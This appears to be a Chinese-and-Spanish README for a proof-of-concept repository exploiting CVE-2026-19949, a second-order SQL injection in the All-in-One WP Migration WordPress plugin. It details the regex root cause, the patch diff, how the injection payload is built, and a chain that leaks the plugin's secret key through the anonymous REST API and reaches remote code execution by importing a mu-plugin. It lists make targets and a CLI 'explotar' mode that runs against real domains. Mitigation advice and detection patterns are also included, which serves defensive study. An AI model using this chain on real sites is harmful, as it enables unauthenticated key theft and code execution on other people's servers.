可复现的基于 Docker 的概念验证,针对 CVE-2026-19949,即 All-in-One WP Migration <= 7.109 中的二阶 SQL 注入,该漏洞通过匿名 REST 泄露 ai1wm_secret_key,并可升级为远程代码执行。
WordPress 插件 All-in-One WP Migration and Backup 中未经身份验证的二阶 SQL 注入
可升级为提取 ai1wm_secret_key,并借此实现远程代码执行(RCE)。
阅读语言: English · Español
| CVE | CVE-2026-19949 |
| 插件 | All-in-One WP Migration and Backup (ServMask),≤ 7.109 |
| 补丁 | 7.110(2026 年 8 月 20 日) |
| CVSS | 8.8(高危)— AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 前提条件 | 管理员导出并恢复站点(该插件的常规操作) |
| 研究人员 | Jack Taylor(Wordfence 漏洞奖励计划) |
⚠️ 仅供教育和防御用途。 本实验环境攻击的是运行在你自己的机器上、位于 Docker 容器内的 WordPress 站点。请勿将其用于不属于你或未经你明确授权的系统。
该插件的导出/导入流程将数据库转储为 SQL(.wpress 内的 database.sql),
并在导入时通过 Ai1wm_Database::replace_table_values() 重写每条语句,
以替换 URL 和表前缀。为定位字符串字面量,它使用了正则表达式:```php
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
问题出在 *negative lookbehind* `(?<!\\)` 上:**它只检查每个候选闭合引号前的一个字节**,而不是统计完整的反斜杠 *run*。在 MySQL 转储中,以 `\` 结尾的数据会被写成 `...\\'` —— 即闭合引号前有**偶数**个反斜杠(实际字符串以反斜杠结尾)—— 但该正则却认为它已被转义,从而**过度捕获下一个字面量**。随后回调会对过度捕获的值执行 `unescape_mysql → replace_serialized_values → escape_mysql`,而这个循环会重新输出一组不平衡的引号/反斜杠序列,**翻转结果语句中 MySQL 字符串的边界**,将攻击者数据提升为可执行的 SQL。
## 2. 根本原因:翻转字符串的正则
在埋好 trackback 之后(见 §4),`database.sql` 中的那一行是:```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
El author termina en \ a nivel de datos → el volcado lo escribe como \\ →
la comilla de cierre queda precedida de un run par. El regex sobre-captura
hasta la comilla de apertura del campo siguiente y el callback re-escapa el
conjunto:```
'Jack Blogs\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena
从这里开始,语句中后续的所有内容都会以改变后的奇偶性重新进行词法分析(原本是字符串的数据变成代码,反之亦然)。打了补丁的 7.110 正则表达式处理同一行并返回**完全相同**的结果。
你可以通过 `make demo-flip`(`exploit/04_demo_flip.php`)逐字节查看,无需利用任何漏洞,它会针对同一行转储内容执行 7.109 和 7.110 插件的真实代码。
## 3. 补丁(7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
新模式能正确分词MySQL字面量:要么是非引号/反斜杠字符,要么是\x转义对,配合占有量词。成对的反斜杠不再干扰字面量的闭合。
Wordfence发布(2026年9月)的攻击链包含四个步骤:
wp-trackback.php?p=<id>)。博客名称(→ comment_author)以\结尾,URL(→ comment_author_url)携带payload。WordPress存储它们时不改动反斜杠。在已发布的变体中,第一个trackback充当定时炸弹:强制中断导入流程(10秒限制),使payload在后续流程中执行——此时导入器已从wp_options中恢复了站点的ai1wm_secret_key(导出器将其排除在dump之外;导入器在流程之间重写它)。ai1wm_secret_key复制到一条已批准的comment类型评论中,该评论在无需认证的REST API中可见。admin-ajax.php?action=ai1wm_import也向匿名用户注册(wp_ajax_nopriv_ai1wm_import),其唯一屏障是ai1wm_verify_secret_key()。利用泄露的密钥,攻击者用包含mu-plugin的自有.wpress文件驱动导入链;Ai1wm_Import_Mu_Plugins步骤(链中优先级270)将其解压到wp-content/mu-plugins/ → 在下次加载时执行代码。本仓库从头到尾验证了该攻击链,仅使用一个植入的trackback(在实验室中定时炸弹并非必需:该行在密钥重置后的后续流程中执行)。
研究者的确切exploit并未公开(2026-09-07的全面搜索:GitHub——现有的2个仓库一个是空模板,一个是带有不存在端点的批量工具——,Exploit-DB/PacketStorm为0,Sploitus仅索引那些虚假仓库,WPScan无PoC,论坛只有新闻;取证细节见research/poc-publica/ANALISIS.md)。
我们自行推导,基于对机制的分析(exploit/investigacion/)。设计:
\结尾 → 易受攻击正则表达式的单字节lookbehind过度捕获下一个字面量,unescape→escape循环翻转字符串边界。comment_author和一个,字符串吸收了偏移量;URL中的前导逗号恢复了被吞掉的结构分隔符)。/**/作为分隔符:
\'形式到达dump,在代码区域会留下孤立的反斜杠(错误1064)→ 因此使用十六进制(0x616931776d… = "ai1wm_secret_key");sanitize_url删除空格(并给所有不以/开头的内容加上http://前缀)→ 因此使用/*pwn*/开头和/**/;comment_author_url)= 读取密钥的子查询 → 密钥最终出现在公共字段中;第11列 = 0x31('1',已批准评论);第13列 = 0x636f6d6d656e74('comment',在匿名REST中可见);)以恰好15个值闭合元组,#(MySQL注释,无空格,sanitize_url会保留)中和原始语句的其余部分。SERVMASK_PREFIX_options:导入器在正则表达式处理之前将SERVMASK前缀重写为真实前缀,因此payload在任何表前缀的站点上都能生效(已验证)。唯一针对目标的具体数据是其URL,携带在excerpt中以触发导入器的strpos过滤器(仅重写包含它的行)。生成的语句(恢复期间MySQL执行的语句):
comment_author_url = (SELECT option_value FROM <前缀>_options WHERE option_name='ai1wm_secret_key') — 真实密钥最终出现在REST API无需认证即可发布的字段中。
| 攻击链步骤 | 状态 | 位置 |
|---|---|---|
| 可复现的易受攻击安装(WP 7.1 + 插件 7.109) | ✅ | make lab |
| 通过trackback无需认证植入(字节精确,自动批准) | ✅ | make plant |
| 管理员导出;dump包含植入的行 | ✅ | make export |
| 根本原因:正则表达式7.109翻转字符串边界(对比7.110完好) | ✅ | make demo-flip |
| 管理员恢复:翻转重写SQL并在7.109中损坏/丢失行 | ✅ | make restore |
| 密钥泄露(自主推导的payload)→ 通过无需认证的REST真实泄露 | ✅ | make leak |
| RCE:利用密钥进行无需认证的导入 → 执行mu-plugin | ✅ | make rce-auto |
| 阴性对照:在7.110中行完好存活,无泄露 | ✅ | make control-7110 |
| WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3矩阵:所有版本完整攻击链 ✓ | ✅ | research/test-wp-versions.sh |
| 完整远程攻击链(仅HTTP,适用于真实域名) | ✅ | python3 cli/poc.py explotar … |
端到端验证结果:管理员导出+恢复后,真实的ai1wm_secret_key作为已批准评论的author_url出现在GET /wp-json/wp/v2/comments中——完全无需认证——并借此执行RCE阶段(mu-plugin被解压并执行,wp-content/中有证据标记)。在7.110中行完好存活(payload保持为惰性数据),无泄露。
RCE阶段还以独立方式演示:其唯一输入是密钥,可以手动传入(make rce KEY=…)——即攻击者在泄露后的确切状态。
使用bash research/test-wp-versions.sh 7.0 6.9 6.8执行的矩阵(按版本重建实验室,插件7.109,payload相同):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
机制在所有版本中均稳定:sanitize_url保留payload,wp_comments保持15列,wp-trackback.php仍可运行。payload与表前缀无关(见§5)。
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas
执行时生成且**不共享**的工件(参见 `.gitignore`):
`informes/`(包含过滤出的密钥)、`exploit/malicious.wpress`、
`plugin-src/`(为 diff 提取的 7.109/7.110 源码)、`research/*.zip`
(WordPress.org 的原始 zip 文件)、`research/database.sql`、
`research/backup-legit.wpress` 以及所分析虚假 PoC 的文件。
## 9. 要求与快速启动
要求:Docker(带 compose 插件)、make、带 `requests` 的 python3、curl。```bash
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
预期输出(摘要):``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
访问受害者站点:<http://localhost:8080> — admin / `admin-password-123`
(公开条目 ID 4,包含 ping 和开放的评论)。
## 10. 分步阶段(make 目标)```bash
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
Un solo comando con todos los modos; genera informes en informes/
(texto + JSON; la carpeta está fuera del repositorio porque contiene claves):```bash
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
- `lab` 启动实验室,执行完整链和阴性对照(7.110),并生成报告(`--sin-control` 可跳过)。
- `scan` 完全被动:读取插件的公开 `readme.txt`,检查 `wp-trackback.php` 和评论 REST 接口,返回判定结果。
- `verificar` 重新检查密钥是否已出现在匿名 REST 中(例如在植入数小时后,管理员完成备份+恢复时)。
- `explotar` 具有侵入性,要求 `--acepto-responsabilidad` 并交互式确认域名:植入 trackback,模拟管理员(导出 → 下载备份 → 重新上传并恢复;**仅 HTTP**,使用你为你的站点提供的凭据),读取泄露的密钥,并通过 `--rce` 留下良性标记(通过匿名导入)。若无管理员凭据:仅植入并等待(`--esperar` 用于等待泄露;`--post-id` 用于选择条目;`--no-interactivo` 用于脚本)。
## 12. CVE 落地页
静态双语页面(ES/EN,页头切换器,记住偏好),以漏洞数据库风格解释 CVE 和 payload:摘要、链、**payload 逐段交互式拆解**、验证与缓解矩阵。```bash
make landing # sirve http://localhost:8090
无外部依赖(无CDN或第三方JS):直接打开
web/index.html即可运行,或使用任意静态服务器。
wp-trackback.php 和 pingbacks
(讨论/WAF选项),尽可能限制匿名用户访问 admin-ajax.php,并监控
wp-content/mu-plugins/ 中文件及 ai1wm_secret_key 选项在异常
上下文(如评论)中的出现。comment_author 以 \ 结尾,或其 comment_author_url 包含
SELECT/**/、CONCAT(、长 0x… 字面量或 /*…*/;已批准评论的
author_url 为无协议的12字符字母数字字符串。exploit/investigacion/):我们从测试夹具
(harness.php)出发,该夹具加载插件7.109的真实类,并使用假密钥
对测试MySQL执行完整流程。模糊测试器
(search_payload.php、fuzz_rows.php、fuzz4.php、
bruteforce_author.php)在trackback的四个可控字段上探索了关键字符集;
afinar_payload.php 调整了表达式数量(N=12),test_payload_final.php
验证了完整设计。NOTAS.md 记录了分析过程,包括结构性壁垒
(wp_comments INSERT的固定字段、导入器强加的sql_mode、
站点URL的strpos过滤器)。research/poc-publica/ANALISIS.md):声称拥有
该exploit的两个GitHub仓库使用了不存在的端点
(aio-migration/v1 带 permission_callback,而实际为 ai1wm/v1)、
错误的上传字段(file 而非 upload_file)、ZIP格式而非
.wpress,以及循环论证的前提。没有任何第三方来源拥有自己的PoC。lib/vendor/servmask/database/ class-ai1wm-database.php:1637;提取的源码位于 plugin-src/,
未共享)本材料发布目的为教育和防御:理解该漏洞、验证补丁并构建检测规则。
该攻击链仅在自有Docker实验室中执行。未经书面授权攻击第三方系统在
大多数司法管辖区属违法行为。如果您管理受影响的站点:请更新至 ≥ 7.110,
轮换 ai1wm_secret_key(停用/重新启用插件或删除该选项以使其
重新生成),并审计 wp-content/mu-plugins/ 及近期评论。